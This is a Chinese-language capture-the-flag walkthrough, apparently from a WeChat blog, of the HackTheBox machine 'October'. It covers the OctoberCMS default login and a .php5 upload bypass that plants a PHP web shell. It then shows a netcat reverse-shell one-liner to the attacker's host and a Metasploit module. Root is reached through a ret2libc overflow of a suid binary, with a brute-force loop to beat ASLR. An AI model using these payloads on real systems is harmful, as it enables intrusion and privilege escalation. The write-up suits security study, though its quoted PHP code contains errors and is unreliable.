October 是一个中等难度的靶机,知识点涉及默认密码、文件上传绕过、suid 提权、缓冲区溢出等。感兴趣的同学可以在HackTheBox中进行学习。通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.13 -oA nmap_October --min-rate=1000
扫描结果显示目标开放22、80端口
80端口
访问后界面如下,站点采用模板为OctoberCMS
,其主题为Vanilla
默认口令
October 是一个基于 PHP 编程语言和 Laravel Web 应用程序框架的内容管理系统(CMS)。它支持将 MySQL、SQLite 和 PostgreSQL 用于数据库后端,并使用平面文件数据库作为前端结构。
OctoberCMS 的默认后台路径为/backend
,访问后界面如下
后台默认账号密码为admin/admin
,尝试登录成功进入管理后台
漏洞查找
使用 searchsploit 搜索 OctoberCMS 已知漏洞
searchsploit october
结果显示 OctoberCMS 存在的已知漏洞大多是 XSS,可利用的只有文件上传 bypass 漏洞
0x02 上线[www-data]
文件上传绕过
使用 searchsploit 查看漏洞利用代码,经分析可知 EXP 使用.php5
后缀绕过限制
searchsploit -x php/remote/47376.rb
在 Exploit-DB 中下载源码分析后可知,应用程序采用基于黑名单的方式检查文件扩展名,对应的 PHP 方法名为blockedExtensions
。黑名单中不包含.php5
,但该 PHP 后缀可用,因此能成功绕过上传限制
源码地址:https://www.exploit-db.com/exploits/47376
<?php
protected function blockedExtensinos()
{
return {
'php',
'php3',
'php4',
'phtml',
}
}
?>
在Media
模块中点击Upload
上传小马cmd.php5
,其代码如下:
<?php system($_REQUEST['cmd']);?>
上传成功
点击Click here
访问木马地址http://10.10.10.16/storage/app/media/cmd.php5
使用 curl 命令执行命令成功
curl http://10.10.10.16/storage/app/media/cmd.php5?cmd=id
反弹shell
在本地监听443端口
nc -nvlp 443
通过木马执行命令反弹shell
curl http://10.10.10.16/storage/app/media/cmd.php5 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 443 >/tmp/f"
成功收到反弹shell
通过 python 调用 bash 使命令行更加清晰
python -c 'import pty;pty.spawn("bash")'
成功在用户目录/home/harry
中找到第一个flag
cd /home/harry && ls
cat user.txt
MSF利用
当然使用 MSF 能够更快速、方便地拿到权限
msfconosle
msf > use exploit/multi/http/october_upload_bypass_exec
msf > set rhost 10.10.10.16
msf > set lhost 10.10.14.14
msf > run
0x03 权限提升[root]
信息收集
在本地启动 http 服务并在靶机中下载LinEnum.sh
脚本地址:https://github.com/rebootuser/LinEnum
cd /tmp
wget http://10.10.14.14/LinEnum.sh
执行LinEnum.sh
收集 Linux 操作系统信息并检查可提权项
chmod +x LinEnum.sh
./LinEnum.sh
成功找到拥有 suid 的文件如下,其中较为特殊的是/usr/local/bin/ovrflw
。而 suid 是一种对二进制程序设置的特殊权限,能让程序的执行者临时拥有属主的权限,也就是说如果拥有 suid 的文件属主为 root,普通用户执行后也能临时拥有 root 的权限,这就是 suid 提权的原理
执行ovrflw
提示需要输入参数
./ovrflw
一旦输入参数程序会打印输入字符
./ovrflw AAAAA
但是一旦输入过多字符就会报错,说明可能存在缓冲区溢出
./ovrflw $(python -c 'print "A"*500')
缓冲区溢出
ASLR机制
ASLR 技术是 Address Space Layout Randomization 的缩写,是一种用于防止攻击者利用内存漏洞的技术。ASLR 通过随机化操作系统的内存布局来防止攻击者预测内存中的数据位置,从而防止攻击者利用这些信息来执行有害的代码。ASLR 是一种有效的防御技术,被广泛应用于操作系统和应用程序中。
检查主机发现操作系统的 ASLR 机制已开启
cat /proc/sys/kernel/randomize_va_space
当然也可以使用 ldd 命令进行测试,每次执行后libc
地址都会发生改变
ldd ovrflw | grep libc
虽然libc
地址随机变化,但是实际上经过仔细对比后可发现它只在0xb7500000
和0xb76ff000
之间变化,因此存在 1/512 的概率libc
地址会相同
NX防护
使用 nc 传输二进制程序ovrflw
至本地
nc -nvl 4444 > ovrflw
nc -w 5 10.10.14.14 4444 < ovrflw
在本地成功收到ovrflw
使用 checksec 检查程序的安全状况,包括使用的系统保护技术、是否存在漏洞等
checksec --file=ovrflw
结果显示 NX 已启用,意味着 shellcode 不能从堆栈运行。NX 全称为 No-eXecute,是一种内存保护技术,基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 会抛出异常,而不会执行恶意指令。在 Windows 系统中类似的是 DEP,全称为 Data Execution Prevention,即数据执行保护,两者在原理上有异曲同工之妙。
寻找EIP偏移量
运行 gdb 调试程序ovrflw
gdb -q ./ovrflw
使用 MSF 生成长度为500的 payload,用于测定 EIP 溢出位置
msf-pattern_create -l 500
在 gdb 中执行 payload,成功拿到 EIP 返回地址为0x64413764
gdb > run 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'
使用 MSF 根据地址确定溢出位置为 112
msf-pattern_offset -q 64413764
编写 Python 脚本测试溢出位置,返回地址为0x42424242
,而42是字符B对应的 ASCII 码,因此 112 就是程序的偏移量
gdb > run `python -c 'print("A"*112 + "BBBB")'`
返回libc
已知libc
的路径为/lib/i386-linux-gnu/libc.so.6
,寻找system
、exit
以及/bin/sh
的偏移量
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
随机选定返回的libc
为0xb75f8000
(正确概率 1/512),基于该libc
的偏移量如下
exit:0xb75f8000+0x33260=0xb762b260
system:0xb75f8000+0x40310=0xb7638310
/bin/sh:0xb75f8000+0x162bac=0xb775abac
而溢出后缓冲区就变成:[JUNK]
*112+system
+exit
+/bin/sh
漏洞利用
如果 ASLR 机制未启动,那么可直接利用以下 payload
/usr/local/bin/ovrflw $(python -c 'print "x90"*112 + "x10x83x63xb7" + "x60xb2x62xb7" + "xacxabx75xb7"');
但是目标系统 ASLR 机制已启动,需要通过循环执行直至匹配到设定的libc
地址才能成功利用
while true; do /usr/local/bin/ovrflw $(python -c 'print "x90"*112 + "x10x83x63xb7" + "x60xb2x62xb7" + "xacxabx75xb7"'); done
匹配成功后就能完成 suid 提权,同时在/root
目录中找到第二个flag
ls /root
cat /root/root.txt
0x04 总结
October 译为十月,实际指的是 OctoberCMS。通过信息收集发现目标站点的内容管理系统为 OctoberCMS,经谷歌搜索后可知其默认后台路径以及账号密码,利用默认账号和密码成功登录后台。使用 searchsploit 搜索 OctoberCMS 的已知漏洞,找到可利用漏洞为 bypass 文件上传。阅读 EXP 代码可知上传.php5
后缀的木马成功绕过限制,通过木马执行命令拿到反弹shell,当然在 MSF 中已经集成了该漏洞的利用,使用 MSF 能更加方便、快速地拿到用户权限。
使用 LinEnum 收集 Linux 系统信息,其中 suid 文件名ovrflw
吸引了我的注意,它与溢出的英文单词overflow
非常相像,可能提示该程序存在缓冲区溢出。经测试ovrflw
确实存在缓冲区溢出,但目标系统存在 ASLR 机制,同时程序本身已开启 NX 防护,使得漏洞利用变得十分困难。使用 MSF 测定 EIP 偏移量为112,虽然系统中开启 ASLR,但仔细对比后发现其地址范围固定,因此有 1/512 的几率能够成功。假设 libc 地址处于该范围的某个值,就可以基于该值推测 exit 等关键词的地址并调用/bin/sh
,最终配合循环成功完成 suid 提权。
原文始发于微信公众号(A11Safe):HTB渗透之October
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论